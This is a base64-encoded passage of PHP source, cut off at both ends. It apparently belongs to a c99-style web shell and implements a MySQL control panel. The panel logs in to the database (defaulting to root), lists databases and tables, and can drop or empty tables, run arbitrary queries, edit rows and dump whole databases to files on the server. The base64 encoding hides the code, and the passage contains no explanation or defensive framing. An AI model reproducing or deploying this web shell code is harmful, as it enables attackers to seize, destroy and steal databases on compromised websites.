cnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiZzcWxfYWN0PXByb2Nlc3NlcyIpOw0KICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJMb2dvdXQiLCRzdXJsLiJhY3Q9c3FsIik7DQogIGVjaG8gIjxjZW50ZXI+PGI+TXlTUUwgIi5teXNxbF9nZXRfc2VydmVyX2luZm8oKS4iIChwcm90byB2LiIubXlzcWxfZ2V0X3Byb3RvX2luZm8gKCkuIikgcnVubmluZyBpbiAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiI6Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiBhcyAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIkAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiIgKHBhc3N3b3JkIC0gXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiJcIik8L2I+PGJyPiI7DQogIGlmIChjb3VudCgkc3FscXVpY2tsYXVuY2gpID4gMCkge2ZvcmVhY2goJHNxbHF1aWNrbGF1bmNoIGFzICRpdGVtKSB7ZWNobyAiWyA8YSBocmVmPVwiIi4kaXRlbVsxXS4iXCI+PGI+Ii4kaXRlbVswXS4iPC9iPjwvYT4gXSAiO319DQogIGVjaG8gIjwvY2VudGVyPiI7DQogfQ0KIGVjaG8gIjwvdGQ+PC90cj48dHI+IjsNCiBpZiAoISRzcWxfc29jaykgez8+PHRkIHdpZHRoPSIyOCUiIGhlaWdodD0iMTAwIiB2YWxpZ249InRvcCI+PGNlbnRlcj48Zm9udCBzaXplPSI1Ij4gaSA8L2ZvbnQ+PC9jZW50ZXI+PGxpPklmIGxvZ2luIGlzIG51bGwsIGxvZ2luIGlzIG93bmVyIG9mIHByb2Nlc3MuPGxpPklmIGhvc3QgaXMgbnVsbCwgaG9zdCBpcyBsb2NhbGhvc3Q8L2I+PGxpPklmIHBvcnQgaXMgbnVsbCwgcG9ydCBpcyAzMzA2IChkZWZhdWx0KTwvdGQ+PHRkIHdpZHRoPSI5MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxUQUJMRSBoZWlnaHQ9MSBjZWxsU3BhY2luZz0wIGNlbGxQYWRkaW5nPTAgd2lkdGg9IjEwMCUiIGJvcmRlcj0wPjx0cj48dGQ+Jm5ic3A7PGI+UGxlYXNlLCBmaWxsIHRoZSBmb3JtOjwvYj48dGFibGU+PHRyPjx0ZD48Yj5Vc2VybmFtZTwvYj48L3RkPjx0ZD48Yj5QYXNzd29yZDwvYj4mbmJzcDs8L3RkPjx0ZD48Yj5EYXRhYmFzZTwvYj4mbmJzcDs8L3RkPjwvdHI+PGZvcm0+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPSJzcWwiPjx0cj48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9InJvb3QiIG1heGxlbmd0aD0iNjQiPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9IiIgbWF4bGVuZ3RoPSI2NCI+PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9kYiIgdmFsdWU9IiIgbWF4bGVuZ3RoPSI2NCI+PC90ZD48L3RyPjx0cj48dGQ+PGI+SG9zdDwvYj48L3RkPjx0ZD48Yj5QT1JUPC9iPjwvdGQ+PC90cj48dHI+PHRkIGFsaWduPXJpZ2h0PjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfc2VydmVyIiB2YWx1ZT0ibG9jYWxob3N0IiBtYXhsZW5ndGg9IjY0Ij48L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSIzMzA2IiBtYXhsZW5ndGg9IjYiIHNpemU9IjMiPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iQ29ubmVjdCI+PC90ZD48L3RyPjx0cj48dGQ+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjwvdGQ+PD9waHAgfQ0KIGVsc2UNCiB7DQogIC8vU3RhcnQgbGVmdCBwYW5lbA0KICBpZiAoIWVtcHR5KCRzcWxfZGIpKQ0KICB7DQogICBlY2hvICI8dGQgd2lkdGg9XCIyNSVcIiBoZWlnaHQ9XCIxMDAlXCIgdmFsaWduPVwidG9wXCI+PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1zcWwmc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiImXCI+PGI+SG9tZTwvYj48L2E+PGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iOw0KICAgJHJlc3VsdCA9IG15c3FsX2xpc3RfdGFibGVzKCRzcWxfZGIpOw0KICAgaWYgKCEkcmVzdWx0KSB7ZWNobyBteXNxbF9zbWFydGVycm9yKCk7fQ0KICAgZWxzZQ0KICAgew0KICAgIGVjaG8gIi0tLVsgPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiImXCI+PGI+Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiI8L2I+PC9hPiBdLS0tPGJyPiI7DQogICAgJGMgPSAwOw0KICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHskY291bnQgPSBteXNxbF9xdWVyeSAoIlNFTEVDVCBDT1VOVCgqKSBGUk9NICIuJHJvd1swXSk7ICRjb3VudF9yb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkY291bnQpOyBlY2hvICI8Yj67Jm5ic3A7PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfZGI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiImc3FsX3RibD0iLmh0bWxzcGVjaWFsY2hhcnMoJHJvd1swXSkuIlwiPjxiPiIuaHRtbHNwZWNpYWxjaGFycygkcm93WzBdKS4iPC9iPjwvYT4gKCIuJGNvdW50X3Jvd1swXS4iKTwvYnI+PC9iPiI7IG15c3FsX2ZyZWVfcmVzdWx0KCRjb3VudCk7ICRjKys7fQ0KICAgIGlmICghJGMpIHtlY2hvICJObyB0YWJsZXMgZm91bmQgaW4gZGF0YWJhc2UuIjt9DQogICB9DQogIH0NCiAgZWxzZQ0KICB7DQogICBlY2hvICI8dGQgd2lkdGg9MSBoZWlnaHQ9MTAwIHZhbGlnbj10b3A+PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJcIj48Yj5Ib21lPC9iPjwvYT48aHIgc2l6ZT0xIG5vc2hhZGU+IjsNCiAgICRyZXN1bHQgPSBteXNxbF9saXN0X2Ricygkc3FsX3NvY2spOw0KICAgaWYgKCEkcmVzdWx0KSB7ZWNobyBteXNxbF9zbWFydGVycm9yKCk7fQ0KICAgZWxzZQ0KICAgew0KICAgIGVjaG8gIjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT1zcWw+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9c3FsX2xvZ2luIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1zcWxfcGFzc3dkIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9c3FsX3NlcnZlciB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXNxbF9wb3J0IHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIlwiPjxzZWxlY3QgbmFtZT1zcWxfZGI+IjsNCiAgICAkYyA9IDA7DQogICAgJGRicyA9ICIiOw0KICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfcm93KCRyZXN1bHQpKSB7JGRicyAuPSAiPG9wdGlvbiB2YWx1ZT1cIiIuJHJvd1swXS4iXCIiOyBpZiAoJHNxbF9kYiA9PSAkcm93WzBdKSB7JGRicyAuPSAiIHNlbGVjdGVkIjt9ICRkYnMgLj0gIj4iLiRyb3dbMF0uIjwvb3B0aW9uPiI7ICRjKys7fQ0KICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJcIj5EYXRhYmFzZXMgKCIuJGMuIik8L29wdGlvbj4iOw0KICAgIGVjaG8gJGRiczsNCiAgIH0NCiAgID8+PC9zZWxlY3Q+PGhyIHNpemU9MSBub3NoYWRlPlBsZWFzZSwgc2VsZWN0IGRhdGFiYXNlPGhyIHNpemU9MSBub3NoYWRlPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iR28iPjwvZm9ybT48P3BocA0KICB9DQogIC8vRW5kIGxlZnQgcGFuZWwNCiAgZWNobyAiPC90ZD48dGQgd2lkdGg9XCIxMDAlXCIgaGVpZ2h0PTEgdmFsaWduPXRvcD4iOw0KICAvL1N0YXJ0IGNlbnRlciBwYW5lbA0KICAkZGlwbGF5ID0gdHJ1ZTsNCiAgaWYgKCRzcWxfZGIpDQogIHsNCiAgIGlmICghaXNfbnVtZXJpYygkYykpIHskYyA9IDA7fQ0KICAgaWYgKCRjID09IDApIHskYyA9ICJubyI7fQ0KICAgZWNobyAiPGhyIHNpemU9MSBub3NoYWRlPjxjZW50ZXI+PGI+VGhlcmUgYXJlICIuJGMuIiB0YWJsZShzKSBpbiB0aGlzIERCICgiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIikuPGJyPiI7DQogICBpZiAoY291bnQoJGRicXVpY2tsYXVuY2gpID4gMCkge2ZvcmVhY2goJGRic3FscXVpY2tsYXVuY2ggYXMgJGl0ZW0pIHtlY2hvICJbIDxhIGhyZWY9XCIiLiRpdGVtWzFdLiJcIj4iLiRpdGVtWzBdLiI8L2E+IF0gIjt9fQ0KICAgZWNobyAiPC9iPjwvY2VudGVyPiI7DQogICAkYWN0cyA9IGFycmF5KCIiLCJkdW1wIik7DQogICBpZiAoJHNxbF9hY3QgPT0gInRibGRyb3AiKSB7JHNxbF9xdWVyeSA9ICJEUk9QIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfYWN0ID0gInF1ZXJ5Ijt9DQogICBlbHNlaWYgKCRzcWxfYWN0ID09ICJ0YmxlbXB0eSIpIHskc3FsX3F1ZXJ5ID0gIiI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIkRFTEVURSBGUk9NIGAiLiR2LiJgIFxuIjt9ICRzcWxfYWN0ID0gInF1ZXJ5Ijt9DQogICBlbHNlaWYgKCRzcWxfYWN0ID09ICJ0YmxkdW1wIikge2lmIChjb3VudCgkYm94dGJsKSA+IDApIHskZG1wdGJscyA9ICRib3h0Ymw7fSBlbHNlaWYoJHRoaXN0YmwpIHskZG1wdGJscyA9IGFycmF5KCRzcWxfdGJsKTt9ICRzcWxfYWN0ID0gImR1bXAiO30NCiAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gInRibGNoZWNrIikgeyRzcWxfcXVlcnkgPSAiQ0hFQ0sgVEFCTEUiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAiLiR2LiJgICwiO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsLTEpLiI7IjsgJHNxbF9hY3QgPSAicXVlcnkiO30NCiAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gInRibG9wdGltaXplIikgeyRzcWxfcXVlcnkgPSAiT1BUSU1JWkUgVEFCTEUiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAiLiR2LiJgICwiO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsLTEpLiI7IjsgJHNxbF9hY3QgPSAicXVlcnkiO30NCiAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gInRibHJlcGFpciIpIHskc3FsX3F1ZXJ5ID0gIlJFUEFJUiBUQUJMRSI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSkuIjsiOyAkc3FsX2FjdCA9ICJxdWVyeSI7fQ0KICAgZWxzZWlmICgkc3FsX2FjdCA9PSAidGJsYW5hbHl6ZSIpIHskc3FsX3F1ZXJ5ID0gIkFOQUxZWkUgVEFCTEUiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAiLiR2LiJgICwiO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsLTEpLiI7IjsgJHNxbF9hY3QgPSAicXVlcnkiO30NCiAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gImRlbGV0ZXJvdyIpIHskc3FsX3F1ZXJ5ID0gIiI7IGlmICghZW1wdHkoJGJveHJvd19hbGwpKSB7JHNxbF9xdWVyeSA9ICJERUxFVEUgKiBGUk9NIGAiLiRzcWxfdGJsLiJgOyI7fSBlbHNlIHtmb3JlYWNoKCRib3hyb3cgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJERUxFVEUgKiBGUk9NIGAiLiRzcWxfdGJsLiJgIFdIRVJFIi4kdi4iIExJTUlUIDE7XG4iO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsLTEpO30gJHNxbF9hY3QgPSAicXVlcnkiO30NCiAgIGVsc2VpZiAoJHNxbF90YmxfYWN0ID09ICJpbnNlcnQiKQ0KICAgew0KICAgIGlmICgkc3FsX3RibF9pbnNlcnRfcmFkaW8gPT0gMSkNCiAgICB7DQogICAgICRrZXlzID0gIiI7DQogICAgICRha2V5cyA9IGFycmF5X2tleXMoJHNxbF90YmxfaW5zZXJ0KTsNCiAgICAgZm9yZWFjaCAoJGFrZXlzIGFzICR2KSB7JGtleXMgLj0gImAiLmFkZHNsYXNoZXMoJHYpLiJgLCAiO30NCiAgICAgaWYgKCFlbXB0eSgka2V5cykpIHska2V5cyA9IHN1YnN0cigka2V5cywwLHN0cmxlbigka2V5cyktMik7fQ0KICAgICAkdmFsdWVzID0gIiI7DQogICAgICRpID0gMDsNCiAgICAgZm9yZWFjaCAoYXJyYXlfdmFsdWVzKCRzcWxfdGJsX2luc2VydCkgYXMgJHYpIHtpZiAoJGZ1bmN0ID0gJHNxbF90YmxfaW5zZXJ0X2Z1bmN0c1skYWtleXNbJGldXSkgeyR2YWx1ZXMgLj0gJGZ1bmN0LiIgKCI7fSAkdmFsdWVzIC49ICInIi5hZGRzbGFzaGVzKCR2KS4iJyI7IGlmICgkZnVuY3QpIHskdmFsdWVzIC49ICIpIjt9ICR2YWx1ZXMgLj0gIiwgIjsgJGkrKzt9DQogICAgIGlmICghZW1wdHkoJHZhbHVlcykpIHskdmFsdWVzID0gc3Vic3RyKCR2YWx1ZXMsMCxzdHJsZW4oJHZhbHVlcyktMik7fQ0KICAgICAkc3FsX3F1ZXJ5ID0gIklOU0VSVCBJTlRPIGAiLiRzcWxfdGJsLiJgICggIi4ka2V5cy4iICkgVkFMVUVTICggIi4kdmFsdWVzLiIgKTsiOw0KICAgICAkc3FsX2FjdCA9ICJxdWVyeSI7DQogICAgICRzcWxfdGJsX2FjdCA9ICJicm93c2UiOw0KICAgIH0NCiAgICBlbHNlaWYgKCRzcWxfdGJsX2luc2VydF9yYWRpbyA9PSAyKQ0KICAgIHsNCiAgICAgJHNldCA9IG15c3FsX2J1aWxkd2hlcmUoJHNxbF90YmxfaW5zZXJ0LCIsICIsJHNxbF90YmxfaW5zZXJ0X2Z1bmN0cyk7DQogICAgICRzcWxfcXVlcnkgPSAiVVBEQVRFIGAiLiRzcWxfdGJsLiJgIFNFVCAiLiRzZXQuIiBXSEVSRSAiLiRzcWxfdGJsX2luc2VydF9xLiIgTElNSVQgMTsiOw0KICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHNxbF9xdWVyeSkgb3IgcHJpbnQobXlzcWxfc21hcnRlcnJvcigpKTsNCiAgICAgJHJlc3VsdCA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX0FTU09DKTsNCiAgICAgJHNxbF9hY3QgPSAicXVlcnkiOw0KICAgICAkc3FsX3RibF9hY3QgPSAiYnJvd3NlIjsNCiAgICB9DQogICB9DQogICBpZiAoJHNxbF9hY3QgPT0gInF1ZXJ5IikNCiAgIHsNCiAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7DQogICAgaWYgKCgkc3VibWl0KSBhbmQgKCEkc3FsX3F1ZXJ5X3Jlc3VsdCkgYW5kICgkc3FsX2NvbmZpcm0pKSB7aWYgKCEkc3FsX3F1ZXJ5X2Vycm9yKSB7JHNxbF9xdWVyeV9lcnJvciA9ICJRdWVyeSB3YXMgZW1wdHkiO30gZWNobyAiPGI+RXJyb3I6PC9iPiA8YnI+Ii4kc3FsX3F1ZXJ5X2Vycm9yLiI8YnI+Ijt9DQogICAgaWYgKCRzcWxfcXVlcnlfcmVzdWx0IG9yICghJHNxbF9jb25maXJtKSkgeyRzcWxfYWN0ID0gJHNxbF9nb3RvO30NCiAgICBpZiAoKCEkc3VibWl0KSBvciAoJHNxbF9hY3QpKSB7ZWNobyAiPHRhYmxlIGJvcmRlcj1cIjBcIiB3aWR0aD1cIjEwMCVcIiBoZWlnaHQ9XCIxXCI+PHRyPjx0ZD48Zm9ybSBhY3Rpb249XCIiLiRzcWxfc3VybC4iXCIgbWV0aG9kPVwiUE9TVFwiPjxiPiI7IGlmICgoJHNxbF9xdWVyeSkgYW5kICghJHN1Ym1pdCkpIHtlY2hvICJEbyB5b3UgcmVhbGx5IHdhbnQgdG86Ijt9IGVsc2Uge2VjaG8gIlNRTC1RdWVyeSA6Ijt9IGVjaG8gIjwvYj48YnI+PGJyPjx0ZXh0YXJlYSBuYW1lPVwic3FsX3F1ZXJ5XCIgY29scz1cIjEwMFwiIHJvd3M9XCIxMFwiPiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3F1ZXJ5KS4iPC90ZXh0YXJlYT48YnI+PGJyPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPVwic3FsX2FjdFwiIHZhbHVlPVwicXVlcnlcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cInNxbF90YmxcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXN1Ym1pdCB2YWx1ZT1cIjFcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cInNxbF9nb3RvXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9nb3RvKS4iXCI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9XCJzcWxfY29uZmlybVwiIHZhbHVlPVwiWWVzXCI+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiTm9cIj48L2Zvcm0+PC90ZD48L3RyPjwvdGFibGU+Ijt9DQogICB9DQogICBpZiAoaW5fYXJyYXkoJHNxbF9hY3QsJGFjdHMpKQ0KICAgew0KICAgID8+PHRhYmxlIGJvcmRlcj0iMCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMSI+PHRyPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjxiPkNyZWF0ZSBuZXcgdGFibGU6PC9iPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT0ic3FsIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0ic3FsX2FjdCIgdmFsdWU9Im5ld3RibCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9InNxbF9kYiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKTsgPz4iPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7ID8+Ij48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfbmV3dGJsIiBzaXplPSIyMCI+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJDcmVhdGUiPjwvZm9ybT48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjxiPkR1bXAgREI6PC9iPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT0ic3FsIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0ic3FsX2FjdCIgdmFsdWU9ImR1bXAiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJzcWxfZGIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYik7ID8+Ij48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pOyA/PiI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpOyA/PiI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpOyA/PiI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7ID8+Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZHVtcF9maWxlIiBzaXplPSIzMCIgdmFsdWU9Ijw/cGhwIGVjaG8gImR1bXBfIi5nZXRlbnYoIlNFUlZFUl9OQU1FIikuIl8iLiRzcWxfZGIuIl8iLmRhdGUoImQtbS1ZLUgtaS1zIikuIi5zcWwiOyA/PiI+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPSJEdW1wIj48L2Zvcm0+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjwvdHI+PC90YWJsZT48P3BocA0KICAgIGlmICghZW1wdHkoJHNxbF9hY3QpKSB7ZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iO30NCiAgICBpZiAoJHNxbF9hY3QgPT0gIm5ld3RibCIpDQogICAgew0KICAgICBlY2hvICI8Yj4iOw0KICAgICBpZiAoKG15c3FsX2NyZWF0ZV9kYiAoJHNxbF9uZXdkYikpIGFuZCAoIWVtcHR5KCRzcWxfbmV3ZGIpKSkge2VjaG8gIkRCIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbmV3ZGIpLiJcIiBoYXMgYmVlbiBjcmVhdGVkIHdpdGggc3VjY2VzcyE8L2I+PGJyPiI7DQogICAgfQ0KICAgIGVsc2Uge2VjaG8gIkNhbid0IGNyZWF0ZSBEQiBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX25ld2RiKS4iXCIuPGJyPlJlYXNvbjo8L2I+ICIubXlzcWxfc21hcnRlcnJvcigpO30NCiAgIH0NCiAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gImR1bXAiKQ0KICAgew0KICAgIGlmIChlbXB0eSgkc3VibWl0KSkNCiAgICB7DQogICAgICRkaXBsYXkgPSBmYWxzZTsNCiAgICAgZWNobyAiPGZvcm0gbWV0aG9kPVwiR0VUXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPVwic3FsXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJzcWxfYWN0XCIgdmFsdWU9XCJkdW1wXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJzcWxfZGJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJzcWxfbG9naW5cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJzcWxfcGFzc3dkXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cInNxbF9zZXJ2ZXJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPVwic3FsX3BvcnRcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cInNxbF90YmxcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIlwiPjxiPlNRTC1EdW1wOjwvYj48YnI+PGJyPiI7DQogICAgIGVjaG8gIjxiPkRCOjwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX2RiXCIgdmFsdWU9XCIiLnVybGVuY29kZSgkc3FsX2RiKS4iXCI+PGJyPjxicj4iOw0KICAgICAkdiA9IGpvaW4gKCI7IiwkZG1wdGJscyk7DQogICAgIGVjaG8gIjxiPk9ubHkgdGFibGVzIChleHBsb2RlIFwiO1wiKSZuYnNwOzxiPjxzdXA+MTwvc3VwPjwvYj46PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJkbXB0YmxzXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiJcIiBzaXplPVwiIi4oc3RybGVuKCR2KSs1KS4iXCI+PGJyPjxicj4iOw0KICAgICBpZiAoJGR1bXBfZmlsZSkgeyR0bXAgPSAkZHVtcF9maWxlO30NCiAgICAgZWxzZSB7JHRtcCA9IGh0bWxzcGVjaWFsY2hhcnMoIi4vZHVtcF8iLmdldGVudigiU0VSVkVSX05BTUUiKS4iXyIuJHNxbF9kYi4iXyIuZGF0ZSgiZC1tLVktSC1pLXMiKS4iLnNxbCIpO30NCiAgICAgZWNobyAiPGI+RmlsZTo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF9kdW1wX2ZpbGVcIiB2YWx1ZT1cIiIuJHRtcC4iXCIgc2l6ZT1cIiIuKHN0cmxlbigkdG1wKStzdHJsZW4oJHRtcCkgJSAzMCkuIlwiPjxicj48YnI+IjsNCiAgICAgZWNobyAiPGI+RG93bmxvYWQ6IDwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNxbF9kdW1wX2Rvd25sb2FkXCIgdmFsdWU9XCIxXCIgY2hlY2tlZD48YnI+PGJyPiI7DQogICAgIGVjaG8gIjx